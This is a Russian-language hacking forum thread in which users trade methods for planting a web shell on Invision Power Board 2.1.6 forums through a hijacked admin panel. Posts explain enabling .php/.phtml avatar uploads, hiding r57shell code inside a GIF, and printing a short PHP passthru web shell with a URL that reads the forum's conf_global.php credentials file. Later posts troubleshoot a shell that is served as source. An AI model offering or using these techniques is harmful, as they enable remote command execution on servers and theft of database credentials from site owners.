Cпособы залить шел в Invision через админку?

[nix]

Как залить шел имея пароль админа, от ИПБ 2.1.6, в смаилы неполчается там пропачено, какой еще способ... ?

[GreenBear]

http://antichat.ru/txt/IPB/index2.php
http://forum.antichat.ru/thread11551.html

[nix]

Странно вроде все сделал как сказанно http://forum.antichat.ru/thread11551.html в админке проверил чтобы можно было заливать аватары но почему то незаливаетя пишут обратись к админу... проверял на .гиф обычной картинки тож самое есть какие еще способы ?

[SanyaX]

Я стал на заливку аватар расширение .php. нормально залилось :)

[Brun]

Такой случай как у меня. Нельзя аватар добавить. Картинку залить. Вообще нечего нельзя. Админ поставил пармишн, что не удалять, не редактировати, не создавать нельзя! Как тут залить шел сам не знаю. Даже конфиг прочитать не смог. Хоть доступ к базе есть.

[nix]

Такой случай как у меня. Нельзя аватар добавить. Картинку залить. Вообще нечего нельзя. Админ поставил пармишн, что не удалять, не редактировати, не создавать нельзя! Как тут залить шел сам не знаю. Даже конфиг прочитать не смог. Хоть доступ к базе есть.

Во у меня примерно тож самое! че в этом случае делать ?

[SK | Heaton]

nix, Если у тя есть доступ к админке все дела -)) В настройках форума есть разрешенные типы файлов для заливки + мак. лимит размера файлов. Измени подгони на смой шелл и все

[Tem]

А другие тута о чём говорят, неполучается у человека, у меня тожа неполучалось но Мишка как всегда помог )))

[nix]

nix, Если у тя есть доступ к админке все дела -)) В настройках форума есть разрешенные типы файлов для заливки + мак. лимит размера файлов. Измени подгони на смой шелл и все
Яж говорю что нельзя заливать аваторы и т.д и настройках делаю ниче не получается!

[Sn@k3]

можно сделать так:
открываешь любую гифку в блокноте, далее открываешь наш всеми любимый r57shell от оманды r57, далее копируешь всё содержимое r57shell и вставляешь после всех символов в картинке(в блокноте). после сохраняешь под r57shella.php, всё. если будут вопросы сюда 4143389 или 298667422

[JFKenedi]

Подобная проблема и у меня, Зливка смайлов запрещена, вообще запрещена.

Сделал расширение php разрешенным для Заливки и для использования в качестве аватара.
Через Mysql тоже не катит ! Аутфайл запрещен.

Что можно сделатЬ, шел залить очень нужно.

пароль От Админки ни чему не подходит...

[JFKenedi]

Нашел вот тему по этому поводу, Кстати на Античате.

Короче так.
Надо лишь поискать по форуму Античата =)

http://forum.antichat.ru/thread11551.html

Написать шелл...
Переименовать в cmd.phtml
На ломаемом форуме расзрешить загрузку файлов с расширением .phtml + разрешить использовать их как Аватары... + добавить строку application/octet-stream
в тип файла.
Проще даже отредактировать существующий тип.
Например:

.gif
image/gif
Использовать ак аватар +

Делаем:

.php
application/octet-stream
Использовать ак аватар +

Загрузить как аватар любому пользователю файл с вашим шеллом
cmd.phtml
Содержания примерно:
<?
echo "<pre>";
passthru("$cmd");
echo "</pre>";
?>
и использовать:
__http://ww.site.ru/forums/uploads/avatar.phtml?cmd=cat ../conf_global.php

[cc.melfox]

проблема с залитым шелом... залил по выше описаному способу шел всё вроде норм но при запуске шела он не запускается, а начинает грузится мне на комп :( расширение файла phtml...

[qBiN]

просто не сообщил серверу что это пхп скрипт.
поиск рулит.

[cc.melfox]

ээ а как сообщить? :)

[banall]

ээ а как сообщить? :)
Вот именно как?
Шелл заливается, но не работает, а выдает только исходник.